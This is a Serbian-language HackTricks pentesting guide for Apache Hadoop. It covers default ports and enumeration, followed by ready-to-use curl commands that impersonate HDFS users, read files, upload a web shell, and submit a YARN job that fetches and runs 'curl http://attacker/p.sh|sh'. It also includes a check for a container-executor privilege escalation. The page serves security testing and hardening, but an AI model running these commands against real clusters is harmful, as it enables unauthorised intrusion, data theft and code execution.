50030-50060-50070-50075-50090 - Pentesting Hadoop
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Apache Hadoop je okvir otvorenog koda za distribuirano skladištenje i procesiranje velikih skupova podataka preko računarskih klastera. Koristi HDFS za skladištenje i MapReduce za obradu.
Korisni podrazumevani portovi:
- 50070 / 9870 NameNode (WebHDFS)
- 50075 / 9864 DataNode
- 50090 Secondary NameNode
- 8088 YARN ResourceManager web UI & REST
- 8042 YARN NodeManager
- 8031/8032 YARN RPC (often forgotten and still unauth in many installs)
Nažalost, Hadoop nema podršku u Metasploit framework-u u vreme pisanja dokumentacije. Međutim, možete koristiti sledeće Nmap skripte za enumeraciju Hadoop servisa:
hadoop-jobtracker-info (Port 50030)hadoop-tasktracker-info (Port 50060)hadoop-namenode-info (Port 50070)hadoop-datanode-info (Port 50075)hadoop-secondary-namenode-info (Port 50090)
Važno je napomenuti da Hadoop radi bez autentifikacije u podrazumevanoj konfiguraciji. Međutim, radi poboljšane bezbednosti, dostupne su konfiguracije za integraciju Kerberos-a sa HDFS, YARN i MapReduce servisima.
WebHDFS / HttpFS zloupotreba (50070/9870 or 14000)
Kada je security=off, možete se lažno predstavljati kao bilo koji korisnik koristeći parametar user.name. Nekoliko brzih primitiva:
# list root directory
curl "http://<host>:50070/webhdfs/v1/?op=LISTSTATUS&user.name=hdfs"
# read arbitrary file from HDFS
curl -L "http://<host>:50070/webhdfs/v1/etc/hadoop/core-site.xml?op=OPEN&user.name=hdfs"
# upload a web shell / binary
curl -X PUT -T ./payload "http://<host>:50070/webhdfs/v1/tmp/payload?op=CREATE&overwrite=true&user.name=hdfs" -H 'Content-Type: application/octet-stream'
Ako je HttpFS omogućen (podrazumevani port 14000) primenjuju se isti REST paths. Iza Kerberosa možete i dalje koristiti curl --negotiate -u : sa važećim tiketom.
YARN neautentifikovana RCE (8088)
ResourceManager REST API prihvata podnošenje poslova bez autentifikacije u podrazumevanom “simple” režimu (dr.who). Napadači ga zloupotrebljavaju da izvrše proizvoljne komande (npr. miners) bez potrebe za pravima za pisanje u HDFS-u.
# 1) get an application id
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps/new-application
# 2) submit DistributedShell pointing to a command
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps \
-H 'Content-Type: application/json' \
-d '{
"application-id":"application_1234567890000_0001",
"application-name":"pwn",
"am-container-spec":{
"commands":{"command":"/bin/bash -c \"curl http://attacker/p.sh|sh\""}
},
"application-type":"YARN"
}'
Ako je port 8031/8032 RPC izložen, stariji klasteri dozvoljavaju isto slanje poslova preko protobuf bez autentifikacije (dokumentovano u nekoliko kampanja cryptominera) – tretirajte te portove kao RCE.
Local PrivEsc from YARN containers (CVE-2023-26031)
Hadoop 3.3.1–3.3.4 container-executor učitava biblioteke iz relativnog RUNPATH-a. Korisnik koji može pokretati YARN containere (uključujući udaljene submittere na nesigurnim klasterima) može postaviti zlonamerni libcrypto.so u putanju u kojoj ima pravo upisa i dobiti root kada se container-executor izvrši sa SUID.
Brza provera:
readelf -d /opt/hadoop/bin/container-executor | grep 'RUNPATH\|RPATH'
# vulnerable if it contains $ORIGIN/:../lib/native/
ls -l /opt/hadoop/bin/container-executor # SUID+root makes it exploitable
Ispravljeno u 3.3.5; obezbedite da binary nije SUID ako secure containers nisu potrebni.
References
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


